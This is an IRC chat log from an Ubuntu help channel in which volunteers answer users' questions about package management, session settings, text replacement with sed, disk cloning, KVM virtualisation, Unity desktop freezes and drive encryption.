[14:33] <rupert> jrib: here is the start of dselect-upgrade: http://pastebin.com/j8ASUHkC
[14:33] <evil_andy> my .dmrc file currently has 'Session=gnome-shell' under [Desktop]
[14:34] <ActionParsnip> evil_andy: do you use autologin?
[14:34] <evil_andy> ActionParsnip, I don't
[14:34] <jrib> rupert: could be dselect-upgrade in 12.04 wasn't multi-arch friendly in 12.04?  I am just guessing, don't know for sure
[14:34] <ActionParsnip> evil_andy: the last session should be remembered for each user
[14:35] <evil_andy> ActionParsnip, and it is if I just log-out and log in again (without selecting the session). But as soon as I reboot, it reverts to Unity
[14:35] <rupert> jrib: hmm, is there any way to 'force' apt choosing for 64bit packages? Or is there anything else I can do?
[14:36] <jrib> rupert: what does the dpkg --get-selections output look like after you used set-selections?
[14:36] <theadmin> rupert: Well, you can define the architecture when using apt-get manually, e.g. "sudo apt-get install packagename:amd64"
[14:37] <rupert> theadmin: ok, but that's only for installing per-package, I'm trying to do a dselect-upgrade
[14:37] <jrib> rupert: the two workarounds I thought of were for you to edit the selections file and append :amd64 and to temporarily disable multi-arch.  I would do a little more research first though before doing either of these (there may be a better resolution and it's likely documented in ubnutu or debian's bug tracker)
[14:37] <theadmin> rupert: Not too sure what that even is to be honest
[14:37] <john_doe_jr> I would like to read each line of a text file in bash….I'm trying to use the bash read command but can't figure it out..can anyone help me with this?
[14:37] <rupert> jrib: --get-selections after --set-selections doesn't show any mention of i386, but it's also missing a lot of packages, like libapache2-mod-wsgi that I mentioned earlier
[14:38] <jrib> rupert: some change does take place though?  i.e. there are some new packages getting set?
[14:38] <rupert> jrib: let me verify
[14:38] <evil_andy> Ahh, I wonder if it's caused by /etc/X11/Xsession.d/65compiz_profile-on-session, it sets the COMPIZ_CONFIG_PROFILE to 'ubuntu' it appears
[14:38] <dry[1]> jrib: .config/ drwx------ & .config/autostart drwxrwxr-x
[14:39] <jrib> dry[1]: this is not what I asked
[14:39] <ActionParsnip> evil_andy: in /etc/lightdm/lightdm.conf do you have: user-session=ubuntu
[14:39] <jrib> rupert: https://bugs.launchpad.net/ubuntu/+source/apt/+bug/879324 might be a good starting point (I have not read through the comments yet)
[14:39] <evil_andy> ActionParsnip, I do indeed...
[14:40] <ActionParsnip> evil_andy: or try: sudo /usr/lib/lightdm/lightdm-set-defaults --session gnome-shell
[14:40] <evil_andy> ActionParsnip, I'll comment that out and see what happens. Thanks!
[14:40] <jrib> rupert: at least one comment mentions that disabling multiarch, doing the dselect-upgrade, and then re-enabling multi-arch worked for him.  So if you just care about a workaround, that may be sufficient
[14:40] <ActionParsnip> evil_andy: or change the file to choose the session you want, or comment out, lots to go at
[14:40] <ActionParsnip> evil_andy: http://askubuntu.com/questions/62833/how-do-i-change-the-default-session-for-when-using-auto-logins
[14:41] <rupert> jrib: thanks for the link and the help, I'll investigate that workaround
[14:42] <dry[1]> jrib: Sorry, I don't get it (autostart problem).
[14:42] <jrib> dry[1]: ls -ld ~ ~/.config ~/.config/autostart
[14:42] <jrib> dry[1]: run that command and pastebin the output
[14:42] <john_doe_jr> jrib: hey,
[14:42] <chro> how can I make skype start after login ?
[14:42] <jrib> john_doe_jr: hi
[14:42] <jrib> !startup | chro
[14:43] <ActionParsnip> chro: use the startup items app in dash...
[14:43] <chro> I want on unity not gnome
[14:43] <ActionParsnip> chro: unity is a shel for Gnome, Unity doesn't replace gnome
[14:43] <wilee-nilee> chro, You can set a delay on the start in the startup manager.
[14:43] <ActionParsnip> chro: again, in Dash in Unity, search for: startup   and you will see the app
[14:44] <ActionParsnip> chro: by using Unity you are also using Gnome desktop
[14:44] <chro> ok
[14:45] <ActionParsnip> what is funt though is run COmpiz without desktop, then Unity stands alone like Fluxbox etc. No Gnome then :)
[14:46] <rupert> jrib: I did a diff now between before --set-selections and after, and the only thing that changed was the deinstallation of linux-image-3.2.0-29-generic and the accompanying headers package. I'll try to disable multiarch now and see if the other packages are properly selected this time.
[14:47] <jrib> rupert: ok, though I'll be away for a bit
[14:47] <dry[1]> jrib: 'ls -ld' output: http://dpaste.com/1063471/
[14:47] <jrib> dry[1]: then it's not a permissions issue.  Someone else may be able to help you.  (You may try copying the .desktop file that you have for 1.py in ~/.config/autostart and creating the one for 2.py yourself)
[14:48] <john_doe_jr> jrib: you helped me a  lot last time...I would like to read each line of a text file in bash….I'm trying to use the bash read command but can't figure it out..can anyone help me with this?
[14:49] <jrib> john_doe_jr: #bash can help you with that.  It's in their faq linked from their topic
[14:49] <dry[1]> jrib: thx. I'll try.
[14:49] <evil_andy> ActionParsnip, Thanks, that did it. it behaves as expected now :)
[14:49] <ActionParsnip> evil_andy: yay
[14:51] <lesshaste> how can you type an e with two dots over it in inkscape?
[14:52] <theadmin> lesshaste: The same way as anywhere... Use a character map if it's not on your keyboard
[14:53] <lesshaste> normally there would be a menu option
[14:53] <lesshaste> it's not on a US keyboard
[14:54] <theadmin> lesshaste: Right, use a character map then.
[14:55] <theadmin> lesshaste: Ubuntu comes with one, just search for it in the apps
[14:56] <schout> lesshaste -> double quotes and then e
[14:56] <schout> if you use us international
[14:56] <theadmin> lesshaste: You can also press Ctrl+Shift+U, type 00eb and then press Enter.
[14:56] <lesshaste> theadmin, ctrl-U 00eb worked
[14:57] <lesshaste> thanks
[14:57] <theadmin> lesshaste: Those are Unicode character codes -- you can find them in the character map, too :P
[14:58] <Pici> gucharmap is the executable name iirc.
[14:58] <theadmin> "charmap" works too
[14:59] <SunStar> i've got a script here that has hundreds of files to search through, i want to search inside of every file looking for a particular word so i can replace it with a non-misspelled version of the word. any good apps to help me with this?
[15:00] <ActionParsnip> SunStar: sed
[15:00] <SunStar> right now all i have is a desktop search tool that only checks filenames
[15:00] <theadmin> SunStar: sed -i 's/w0rd/word/' filenames
[15:00]  * SunStar looks up up
[15:00] <ActionParsnip> theadmin: no g?
[15:01] <theadmin> ActionParsnip: Ah yes
[15:01] <theadmin> SunStar: Add g at the end of that: s/w0rd/word/g
[15:01] <theadmin> SunStar: See perldoc for more details: http://perldoc.perl.org/perlop.html#Regexp-Quote-Like-Operators
[15:03] <fluffypony> heya - I'm trying to resize the primary partition on a KVM; the gparted liveCD doesn't see the virtio disk, but the Ubuntu 12.04 installer disk's rescue mode does
[15:04] <fluffypony> what should I be using to resize it? parted moans about how the drive has features enabled
[15:04] <fluffypony> resize2fs says the filesystem is already maxed out
[15:05] <ActionParsnip> fluffypony: then do it in the Ubuntu liveCD, is it ok there?
[15:05] <fluffypony> ActionParsnip: the provider doesn't have the Linux liveCD as an option, so I'd have to ask them to add it
[15:06] <fluffypony> parted was fine with deleting and recreating the linux-swap at the end of the disk
[15:06] <fluffypony> but it doesn't look like it plays nicely with ext4 partitions
[15:07] <pranav>  no matter whatever i try, sth like AXIS_HOME=/my/path in ~/.bashrc.
[15:07] <pranav> it wont pick up even after "source ~/.bashrc" :( what might have been wrong
[15:09] <pranav> why won't update to ~/.bashrc for TEST=100 work. possible reasons ? yes, i re-loaded it using source ~/.bashrc ?
[15:10] <suncica2222> what program to use to edit pdf?
[15:10] <she_dyed> pranav: need an export my guess
[15:10] <pranav> she_dyed: i did already try
[15:11] <pranav> why won't update to ~/.bashrc for TEST=100 work. possible reasons ? yes, i re-loaded it using source ~/.bashrc ?
[15:11] <she_dyed> pranav: need a $ my guess
[15:12] <pranav> she_dyed: no, man. i just tried $ again. don't work either.
[15:12] <pranav> weird :/
[15:13] <she_dyed> pranav: $TEST?
[15:13] <suncica2222> what program to use to edit pdf? open office?
[15:14] <Pici> pranav: #bash would likely be a better resource for this issue
[15:14] <pranav> she_dyed: yeah, man.. i've tried all
[15:14] <she_dyed> pranav: except #bash
[15:14] <she_dyed> their channel
[15:15] <pranav> Pici: : thr's 800 there.. never knew it existed... thanks
[15:15] <brwolfgang> suncica2222:  I use pdfedit
[15:16] <suncica2222> how about open office?
[15:16] <BLZbubba> what is the official way to stop the notify-osd popups?
[15:16] <BLZbubba> the google results all suggest opening a terminal and moving files, but there must be a better way
[15:17] <she_dyed> suncica2222: no
[15:17] <dtcrshr> suncica2222: i use inkscape
[15:17] <dtcrshr> but openoffice also edits some pdf
[15:18] <dtcrshr> basically both gimp and inkscape are very competent on importing and editing pdfs, suncica2222
[15:20] <genii-around> pranav: Likely you need export TEST=whatever
[15:20] <she_dyed> told us he tried that
[15:25] <trijntje> !paste
[15:26] <jamesgcd> Hey guys I'm just wondering, can the owner of a file have less permissions on it than the group/other users?
[15:28] <jrib> jamesgcd: yes
[15:28] <jrib> jamesgcd: you should experiment and see
[15:29] <jamesgcd> thanks jrib I was going to experiment but I'm downloading an ISO and was wondering if it would make sense to the system, it makes little sense to think of in normal terms but in this case the security would be increased doing so :p, so thanks ;)!
[15:29] <eN_Joy> i used to use apt-get but now want to study aptitude, a quick question: if i highlight an upgradeable package and press `U`, then press `g` to execute, will i upgrade *only* this package but not anything else? i have lot of upgradable packages but not intend to perform the upgrade right now. thanks!
[15:32] <p0wn3d> Hi
[15:35] <mentoc> What is the proc file system used for?
[15:40] <ActionParsnip> mentoc: system running stuff, like PIDs, system info and so forth
[15:40] <ActionParsnip> mentoc: do you mean /proc ?
[15:41] <ActionParsnip> eN_Joy: if you want to upgrade a single package, just run:  sudo apt-get install packagename      and it will be downloaded and installed if a newer package exists
[15:42] <Artpicre> Hello
[15:43] <ysuire> anybody here ?
[15:43] <ActionParsnip> ysuire: many
[15:43] <ysuire> good lol i have a question
[15:44] <ysuire> I am testing 13.04 and since then, Rhythmbox doesn't play any streaming radio ... just wanted to know if anyone else had this problem ?
[15:44] <ActionParsnip> ysuire: #ubuntu+1 for Raring until release day please
[15:44] <ysuire> ok sorry :)
[15:46] <mentoc> ActionParsnip: sorry for the delay. Yes, I was talking about /proc
[15:48] <eN_Joy> ActionParsnip: thanks, so still the question: with aptitude, press `g` will upgrade *all* upgradable?
[15:49] <ActionParsnip> eN_Joy: not sure, I don't use aptitude, it doesn't handle multi-arch which you will probably need in 64bit OS
[15:49] <Unknown0BC> Hi, I just got myself a Samsung Galaxy Pocket. I am running ubuntu oneiric, usually I just plug in my phone ( my nokias ) with a usb cable then a folder pops up and I have access to the memory card. However my Galaxy Pocket brings up nothing... ( under windows it works though...)
[15:49] <Unknown0BC> Is it just me ?
[15:49] <Unknown0BC> :\
[15:49] <ActionParsnip> Unknown0BC: Oneiric has about 2 weeeks support left, you may want to upgrade soon
[15:50] <ActionParsnip> Unknown0BC: http://www.omgubuntu.co.uk/2011/12/how-to-easily-mount-the-galaxy-nexus-on-ubuntu-11-10-via-unity
[15:51]  * ActionParsnip will be glad when Oneiric dies
[15:51] <Unknown0BC> ActionParsnip, :) let me see...
[15:51] <LittleMidget> Y u no like oneiric?
[15:51] <ActionParsnip> LittleMidget: its so old and newer stuff doesn't run great on it like in newer releases
[15:51] <philinux> Unknown0BC: you may need to install mtp-tools mtpfs and gmtp but my guess is oneiric wont vhave these
[15:51] <ActionParsnip> LittleMidget: just like Lucid, so old now
[15:52] <LittleMidget> ActionParsnip: true story
[15:52] <ActionParsnip> luckman212: word
[15:52] <ShapeShifter499> hi again
[15:53] <philinux> Unknown0BC: http://news.softpedia.com/news/How-to-Transfer-Files-from-Ubuntu-to-Android-341722.shtml
[15:53] <ShapeShifter499> can someone explain to me what is a "source code" repo?   do they contain the source code of projects/apps/files in the regular repos I have?
[15:54] <Unknown0BC> philinux, thanks.
[15:54] <ActionParsnip> ShapeShifter499: read /etc/apt/sources.list   you will see deb-src  lines, these debs contain source code
[15:54] <ActionParsnip> ShapeShifter499: the deb lines will be binaries and what you expect to install with apt-get
[15:54] <philinux> Unknown0BC: with 12.10 and 13.04 I just connect my S3 and it's just there
[15:54] <LittleMidget> ShapeShifter499: A source code repository is a file archive and web hosting facility where large amounts of source code are kept, either publicly or privately
[15:55] <Unknown0BC> philinux, cool.
[15:55] <ActionParsnip> Unknown0BC: personally I connect to my sftp server using andftp, no usb cable needed. This is the same as every othe system I own, no slow bluetooth, all over the wireless :)
[15:55] <ShapeShifter499> ActionParsnip, LittleMidget so if I wanted the source code to something I installed and its public I maybe able to find it in the source code repo?
[15:56] <LittleMidget> ShapeShifter499: you are right
[15:56] <ActionParsnip> ShapeShifter499: yes, assuming there is a source code source for it, the packages which are fully open have source code in the repos too
[15:56] <moultonr> I'm trying to stamp a signature onto pdf files, but my signature.pdf has a white background.  Anyone have any idea how to create a pdf that's exactly like the png (as in transparent background) it was created from?
[15:56] <philinux> Unknown0BC: and those apps are not installed so I guess ubuntu sees the s3 and a usb device
[15:56] <Unknown0BC> ActionParsnip, that sounds like an option I might consider. But WiFi is still slower than usb or not ?
[15:56] <ShapeShifter499> LittleMidget, ActionParsnip cool
[15:56] <LittleMidget> ShapeShifter499: :)
[15:57] <GrygrFlzr> Is it a bad sign that my wifi doesn't work but my usb ethernet works? Internal ethernet seems to be fried.
[15:57] <Hwkiller> moultonr: are you using pdftk?
[15:58] <SailorMoon> hey guys i need your help lol
[15:58] <RageRiot> hi, Ive just boot up and the desktop loads but looks like it hangs. the dash/launcher appears but doesnt accept input/click. the mouse moves. I used ctrl + alt + f1 loagged in and used '  unity --replace  ' and went back to ctrl + alt + f7 and I ca use the desktop again. restarting I got the same behavior. the only thing I installed yestoday was preload via apt-get which I've just removed and restarted but still get same result.
[15:59] <SailorMoon> I need to clone a Windows 7 HDD
[15:59] <RageRiot> clone zilla
[15:59] <RageRiot> :)
[15:59] <SailorMoon> does that come with Ubuntu?
[15:59] <SailorMoon> on the disk?
[15:59] <RageRiot> no
[15:59] <SailorMoon> because all i have is an ubuntu install disk]
[15:59] <SailorMoon> with no internet
[15:59] <moultonr> Hwkiller, yes.  First I ran convert sig.png -transparent white -background none sig.pdf (imagemagik) and then pdftk file.pdf stamp sig.pdf output done-file.pdf
[16:00] <RageRiot> you can download and burn it with the live disk
[16:00] <SailorMoon> how can i clone a HDD with the ubuntu install disk
[16:00] <SailorMoon> with no internet access
[16:00] <RageRiot> hardware not working ?
[16:00] <RageRiot> or no physical connection
[16:00] <RageRiot> or wifi*
[16:01] <philinux> SailorMoon: you could use dd
[16:01] <RageRiot> yeh I was going to sugest that but it is quite slow..
[16:01] <RageRiot> it was for me .
[16:01] <SailorMoon> philinux: How would i do that?
[16:01] <SailorMoon> DD is okay with the HDD being broken (Tons of bad sectors, etc) Right?
[16:01] <RageRiot> took 1hour 40 for a 64Gb SSD
[16:02] <ActionParsnip> Unknown0BC: usb will probably be faster, but you need to be need to sit at the system. My sftp server s accessible anywhere :)
[16:02] <philinux> SailorMoon: can u not just rescue important data
[16:02] <ActionParsnip> Unknown0BC: (was just on the phone)
[16:02] <Hwkiller> moultonr: Why not just convert sig.png sig.pdf ?
[16:02] <RageRiot> I think it will try to read bit for bit so technically it will copy a bad file system
[16:02] <ActionParsnip> Hwkiller: moultonr I believe imagemagick can do that
[16:03] <Hwkiller> that's what he is using, ActionParsnip
[16:07] <moultonr> Hwkiller, ActionParsnip someone whip me with a wet noodle -- I've got more than one php script; apparently the one I'm testing with is NOT the one that's doing the work.  Must be an older test script...
[16:07] <moultonr> Hwkiller, ActionParsnip I've got transparent sigs...
[16:08] <Hwkiller> yes
[16:09] <Hwkiller> last time that I used convert on a transparent png, I just ran it without options
[16:09] <RageRiot> just booted up and the desktop loads but looks like it hangs. the dash/launcher appears but doesnt accept input/click. the mouse moves. I used ctrl + alt + f1 logged in and used '  unity --replace  ' and went back to ctrl + alt + f7 and I can use the desktop again. restarting I got the same behaviour. having to repeat previous steps to get on so I can fire up xchat. The only thing I installed yesterday was preload via apt-get which I've just removed but
[16:09] <RageRiot> I seem to get the same result.
[16:10] <Unknown0BC> ActionParsnip, philinux , I just want to let you guys know that the tutorial philinux gave me worked.
[16:10] <Unknown0BC> thanks :)
[16:10] <Hwkiller> I actually didn't want that, so I had to specify options to make it have a white background
[16:10] <GrygrFlzr> Should I have 2 ext4 partitions (root and home) and 1 swap?
[16:10] <ActionParsnip> GrygrFlzr: I do, makes backups easier :)
[16:11] <Hwkiller> bah, he quit
[16:11] <ActionParsnip> GrygrFlzr: some like to have one big partition for all and 1 swap
[16:11] <philinux> Unknown0BC: nice one indeed. I bookmarked it but never neeeded here
[16:13] <philinux> ActionParsnip: I've altered mine. Now home on root as normal but a swap and data partition
[16:13] <Unknown0BC> philinux, although gMTP freezes up... I have to unplug the cable and replug it then it detects the phone.
[16:13] <elisa87> how can i search the whole computer for a file ? doesn't work? find */ -name "gpgpu_inst_stat.txt"
[16:13] <RageRiot> my unity is unresponsive after login, I have to use unity --replace to get it back in a different console ( ctrl + alt + f1)
[16:13] <ActionParsnip> philinux: makes sense, then just symlnk to the mount point of the data partition
[16:13] <RageRiot> has been working perfectly before today
[16:14] <philinux> ActionParsnip: not here I just use data to backup say firefox profile and similar
[16:14] <ActionParsnip> elisa87: try:  sudo updatedb; locate gpg*.txt
[16:14] <philinux> ActionParsnip: i've had trouble in past with left over config files. I like a clean home now
[16:15] <ActionParsnip> philinux: I have a file server, so all I do is map to that after clean install. Chrom has settings in the cloud
[16:15] <philinux> ah ok
[16:19] <Centosbeginner> I got an X server problem can someone help ?
[16:19] <Pici> Centosbeginner: On Centos?
[16:19] <Centosbeginner> yeeah
[16:19] <Centosbeginner> :)
[16:19] <Centosbeginner> but x is same on all distros?
[16:19] <Pici> Centosbeginner: Then you need to ask in #centos, not #ubuntu
[16:19] <Pici> Centosbeginner: No.
[16:20] <Dyomedes> how long should it take from putting in a disk to boot Ubuntu from to actually seeing it on my screen?
[16:20] <Centosbeginner> maybe you can point me to in the direction of some reading?
[16:20] <BOOMSHAKALAKA> Centosbeginner, sorry dude, Pici is pretty anal about this stuff
[16:20] <Centosbeginner> Pici: none answers in centos :(
[16:20] <BOOMSHAKALAKA> Centosbeginner, what problem are you having exactly?
[16:20] <ActionParsnip> BOOMSHAKALAKA: its channel poicy
[16:20] <ActionParsnip> BOOMSHAKALAKA: please help in PM if you want to help
[16:20] <Centosbeginner> Just loads of rainbow pixls
[16:20] <Scunizi> ls -al will give me a directory listing of just the directory names. What command will give me just the directory names and directory names of any sub-directories?
[16:20] <Centosbeginner> BOOMSHAKALAKA: may I pm you?
[16:20] <ActionParsnip> Centosbeginner: could try in #linux too
[16:21] <BOOMSHAKALAKA> Centosbeginner, dude I'd help you out right here in channel but I need to catch up on some sleep... have to wake up in 6 hours.. sorry dude
[16:22] <Centosbeginner> BOOMSHAKALAKA: thanks anyway the thought counts :)
[16:22] <Centosbeginner> any advise on what to read though ?
[16:22] <BOOMSHAKALAKA> so.. what exactly is wrong? does X crash?
[16:22] <ActionParsnip> Scunizi: find /start/path -type d     maybe
[16:23] <ActionParsnip> Scunizi: yep, works well
[16:23] <Scunizi> ActionParsnip: hummm.. I did try ls -alD which worked but also gave me the file names in the directories.  That was too much.. I"ll give you're a go to.
[16:23] <ActionParsnip> Scunizi: -d only shows directories :)
[16:23] <Centosbeginner> BOOMSHAKALAKA: just loads of rainbow pixels and then system freez
[16:24] <Centosbeginner> can only boot with nomodeset
[16:24] <ActionParsnip> Centosbeginner: please take it to #linux
[16:24] <Dyomedes> anyone help me?
[16:24] <ActionParsnip> Dyomedes: wassup
[16:24] <p0wn3d> Centosbeginner: Change your nick to Ubuntubeginner and ask again
[16:24] <Dyomedes> how long should it take from putting in a disk to boot Ubuntu from to actually seeing it on my screen?

[16:26] <Dyomedes> [17:25] <Scunizi> Dyomedes: keep waiting.
[16:26] <Dyomedes> how long?
[16:26] <ActionParsnip> Dyomedes: tried the boot option:  nomodeset    if you use intel GPU, or try:   nouveau.blacklist=1     if you use Nvidia
[16:26] <Dyomedes> [17:26] <ActionParsnip> Dyomedes: tried the boot option:  nomodeset    if you use intel GPU, or try:   nouveau.blacklist=1     if you use Nvidia
[16:26] <Dyomedes> did not understand a word - sorry!
[16:27] <Scunizi> ActionParsnip: he'll need specifics :)
[16:27] <pranav> can ~/.bashrc have various versions ? and show differently upon loading them in gedit at times ?
[16:28] <RageRiot> my unity is unresponsive after login, I have to use unity --replace to get it back in a different console ( ctrl + alt + f1)

[16:39] <nmatsakis> Hello all, I am attempting to configure my mac keyboard such that the opt and command keys correspond to meta and super respectively (the opposite of the default).  I found this wiki page <https://help.ubuntu.com/community/AppleKeyboard>, which suggests that I may need to apply a patch <https://patchwork.kernel.org/patch/10259/>, but that bug dates from 2009.  Can anyone tell me whether this patch is still needed and, if so, point me
[16:39] <nmatsakis>  HOWTO for the steps I ought to take
[16:39] <MonkeyDust> Paul_MyBB  #ubuntu+1
[16:39] <chro> when will ubuntu 13.04 be released?
[16:39] <Paul_MyBB> It's already released as a beta.
[16:40] <MonkeyDust> chro  2 weeks from now, if all goes well
[16:40] <chro> ok
[16:40] <chro> MonkeyDust, what are the major changes?
[16:40] <MonkeyDust> chro  ask in #ubuntu+1
[16:40] <chro> ok
[16:41] <RageRiot> my unity desktop will work if I use unity -- replace

[16:42] <xen> hello i have an huawei e1550 modem when i open windows i get all signal's and in ubuntu 12.04 it says its not enabled
 ie mobile broadband : not enabled
[16:42] <posdifu> Dyomedes: first start in low graphics mode. check your lightdm config files. instructions are on the wiki. than reboot. that fixed it for me.
[16:43] <barbarian> hi
[16:43] <xen> hello i have an huawei e1550 modem when i open windows i get all signal's and in ubuntu 12.04 it says its not enabled ie mobile broadband : not enabled
[16:43] <pranav> how to remove byobu ?
[16:44] <MonkeyDust> pranav  sudo apt-get purge byobu;sudo apt-get autoremove
[16:44] <xen> pranav sudo apt-get remove byobu
[16:44] <pranav> E: Encountered a section with no Package: header
[16:44] <pranav> E: Problem with MergeList /var/lib/apt/lists/ubuntuarchive.hnsdc.com_ubuntu_dists_precise_main_binary-i386_Packages
[16:44] <pranav> E: The package lists or status file could not be parsed or opened.
[16:45] <pranav> why does my package list always gets curropted no matter how many times i del it ? :(
[16:46] <ripthejacker> LittleMidget, thanks it was a driver issue after all
[16:46] <LittleMidget> ripthejacker: no worries :) glad you solve it
[16:46] <ripthejacker> but till last time i could atleast access the shell after kernel update
[16:46] <ripthejacker> this was one serious update
[16:46] <MonkeyDust> pranav  i guess you're using a mix of i386 and amd6
[16:47] <MonkeyDust> pranav  i guess you're using a mix of i386 and amd64 sources
[16:47] <The_ghost> Hi
[16:47] <ripthejacker> i had to install the driver in recovery mode
[16:47] <pranav> so, is there a quick fix
[16:47] <MonkeyDust> pranav  what's the output of sudo apt-get update | pastebinit? paste the url here
[16:47] <The_ghost> I would like to know of a site that teachs how to make a Shell script Menu ?
[16:48] <ovenss_> Hi all, I am wondering if anyone can help me with KVM problems  (virtualization)
[16:48] <MonkeyDust> The_ghost  ask help in #bash
[16:48] <barbarian> ovenss_ what do you need, maybe I could help you
[16:49] <Dyomedes> reboot in windows sounds like a solution for me
[16:49] <MonkeyDust> Dyomedes  it's called 'the windows trick'
[16:49] <jrib>  /away
[16:49] <ovenss_> Barbarian --> thanks my problem stems from (i think) kvm-amd module
[16:49] <The_ghost> I would like a site that teach´s how to make shell script
[16:49] <jrib> !terminal | The_ghost
[16:49] <jrib> The_ghost: also, #bash is an excellent resource for help with shell scripting
[16:50] <ovenss_> essentially I have 2 systems
[16:50] <MonkeyDust> The_ghost  http://tldp.org/LDP/abs/html/
[16:50] <ovenss_> ---> 1 intel core I7 and 1 Dual CPU AMD 6234
[16:50] <The_ghost> Yep, like i want to make a script to auto syc a pendrive to my PC
[16:50] <ovenss_> --> the intel one has no problems running or creating KVM machines
[16:50] <MonkeyDust> The_ghost  use cron
[16:51] <MonkeyDust> The_ghost  use cron if you want it time-based
[16:51] <ovenss_> --> the amd machine reboots right after machine creation, but never saves the machine in virt-manager
[16:51] <barbarian> ovenss_ what virtualization software do you use?
[16:51] <The_ghost> ok thanks MonkeyDust
[16:51] <The_ghost> !!!!!!![
[16:51] <ovenss_> --> I have tried a handful of kernels from 3.2 to 3.8 from the Ubuntu Mainline. I am running LTS
[16:52] <ovenss_> --> I am using qemu-kvm
[16:53] <barbarian> ovenss_ did you check logs?
[16:53] <ovenss_> yes the only thing that logs is the virt-manager log
[16:53] <ovenss_> i can send that if it helps
[16:53] <ovenss_> nothing in syslog, kern.log, auth.log
[16:54] <barbarian> please paste it on phttp://paste.ubuntu.com/
[16:54] <ovenss_> http://paste.ubuntu.com/5719244/
[16:54] <barbarian> and btw. did you tried to compile kvm-adm module?
[16:55] <ovenss_> no, i did remove it and reinsert in on the fly
[16:55] <ovenss_> and I tried reinstalling the kvm packages
[16:55] <cummins> http://bit.ly/15oq9gs
[16:55] <anew> stupid question but if i restart my server that will restart apache right
[16:56] <DJones> cummins: Do you have an Ubuntu support question?
[16:57] <TK-999> anew: Does it run as a daemon?
[16:57] <anew> actually yeah that did what i needed
[16:57] <anew> woot
[16:57] <anew> how can i check if it runs as a daemon
[16:57] <ovenss_> ---> sorry did you see the paste link?
[16:58] <TK-999> anew: Is it a service?
[16:58] <glitch__> morning all  im ahving an issue with the screen saver function  i am unable to adjust it through brightness and lock like i should
[16:58] <anew> not sure tk-999 how can i check that also
[16:59] <barbarian> ovenss_ I think you have to write about it on qemu-kvm support
[16:59] <TK-999> initctl list
[16:59] <ovenss_> --> you mean the mailing list?
[16:59] <barbarian> there are nothin what I could help you with it, no suspicious logs
[17:00] <glitch__> any ideas how i can find whats wrong that keeping me from changing settings
[17:00] <ovenss_> --> i tried adding noapic to grub to no avail
[17:00] <RageRiot> unity is not behaving correctly. Same issue but I discovered the windows key brings up the dash home panael. mouse click are ignore completely but the mouse moves. unity ---replace resolves this problem.
[17:00] <barbarian> not exactly, they have IRC channel so
[17:00] <RageRiot> running ubuntu 12.10
[17:00] <xen> hello my huawei e1550 was working with linux mint 14 but when i switch to ubuntu 12.04 it does not work please help
[17:00] <MonkeyDust> RageRiot  problem solved?
[17:01] <barbarian> ovenss_ > Join us on #kvm at Freenode.
[17:01] <RageRiot> no
[17:01] <barbarian> its their channel, maybe there you will get some anserws
[17:01] <Listener> Unity task bar: Isn't a click on the icon supposed to shrink the ap?
[17:02] <RageRiot> everytime I login the mosue is uselesss until I use another console to run unity --replace
[17:02] <xen> please anyone ?
[17:02] <sharp15> could someone tell me what release number 'Precise' would have been?  probably one of the 12.x releases.
[17:02] <ovenss_> thanks Barbarian, I have joined the suggested channel
[17:02] <c2tarun> sharp15: 12.04
[17:02] <barbarian> and ! last question, did you ever had same issues on other distros using amd ?
[17:02] <sharp15> c2tarun: thank you.
[17:03] <ovenss_> --> barbarian, this is a new build for me, so I have only tried Ubuntu based (mint etc) I am downloading Fedora right now
[17:03] <ovenss_> but I have not installed it
[17:04] <RageRiot> is there any thing I can check to see why unity ignores the mouse until I use unity --replace ?
[17:05] <RageRiot> logs files/ etc
[17:05] <betrayd> RageRiot: maybe you have .xsession-errors in $HOME
[17:06] <RageRiot> ok
[17:06] <billy_ran_away> Is it safe to mount and use a RAID array that is recovering?
[17:08] <RageRiot> betrayd,  is that file contain info from a single session
[17:08] <RageRiot> there are errors
[17:09] <betrayd> RageRiot: scan for mouse-related messages, usually gets replaced per session yes
[17:11] <RageRiot> cant see anything mouse related..
[17:11] <RageRiot> i'll paste it . http://pastebin.com/FbjyApTy
[17:12] <betrayd> what's the mousename RageRiot
[17:12] <RageRiot> cheap fujitsu siemens mouse
[17:12] <ShapeShifter499> if I encrypt my hard drive does it get decrypted everytime ubuntu runs?
[17:12] <TK-999> Yes.
[17:13] <RageRiot> it's odd because my gaming mouse (CYBORG  RAT 9 ) doesnt work at all
[17:13] <TK-999> It provides protection when the disk is physically stolen or somebody tries to access it outside of Ubuntu.
[17:13] <TK-999> Once you are logged in, the file system is decrypted.
[17:13] <ShapeShifter499> so if I use my system like a server, where it runs 100% of the time, then there is no point in encrypting my drive
[17:14] <ShapeShifter499> TK-999, it would provide no protection from network attacks correct?
[17:14] <jrib> ShapeShifter499: well you could still turn of your system...
[17:14] <jrib> off*
[17:14] <TK-999> It would not.
[17:14] <TK-999> https://help.ubuntu.com/community/BasicSecurity
[17:15] <TK-999> whoops, sorry; it's https://wiki.ubuntu.com/BasicSecurity
[17:15] <ShapeShifter499> jrib, I'm going to run email, bnc, and maybe social networking tools that keep track of my online data
[17:16] <ShapeShifter499> so this system has to run near 100% of the time
[17:16] <jrib> ShapeShifter499: for example, police could knock on your door, you could then turn off your system to protect your privacy
[17:16] <jrib> ShapeShifter499: it depends on what you want to do really.  If you don't care that anyone with physical possession of the drive can read its contents, then don't encrypt
[17:17] <ShapeShifter499> jrib, I see but if I do a remote reboot of my encrypted server how would I decrypt it in that situation?
[17:17] <ShapeShifter499> would it even boot?
[17:17] <ShapeShifter499> this server is a netbook btw
[17:18] <jrib> ShapeShifter499: I'm not familiar with the details, but I imagine you would only encrypt parts (the data you want to protect)
[17:18] <The_Ghost> Ok, Ive been on the #bash IRC, but the sent me back, how can i set up a udev bash script
[17:18] <tmmunq> dropbear http://www.howtoforge.com/unlock-a-luks-encrypted-root-partition-via-ssh-on-ubuntu
[17:18] <jrib> The_Ghost: http://reactivated.net/writing_udev_rules.html
[17:20] <nemo> Hey guys.  I'm trying to migrate someone to a new machine.  I wanted to identify what packages they installed on the old one.
[17:20] <billy_ran_away> Why am I getting this? http://cl.ly/ONJb But fuser and lsof say nothing is using /dev/md0...
[17:20] <nemo> Is there somewhere in /var I'd look, perhaps, to find out what was explicitly installed, instead of as a dependency?
[17:21] <nemo> I'm looking over the apt history trying to figure out what I would look for, but hoping there's an easier way.
[17:21] <jrib> !clone | nemo
[17:22] <The_Ghost> Also, anyone know of a good tutorial on how to remaster the ubuntu ?
[17:22] <nemo> jrib: cool thanks
[17:22] <nemo> jrib: heh. bot still recommending aptitude eh
[17:23] <jrib> nemo: to search for packages that were installed manually it's probably the easiest way.  If you want to avoid it, look into apt-mark (iirc)
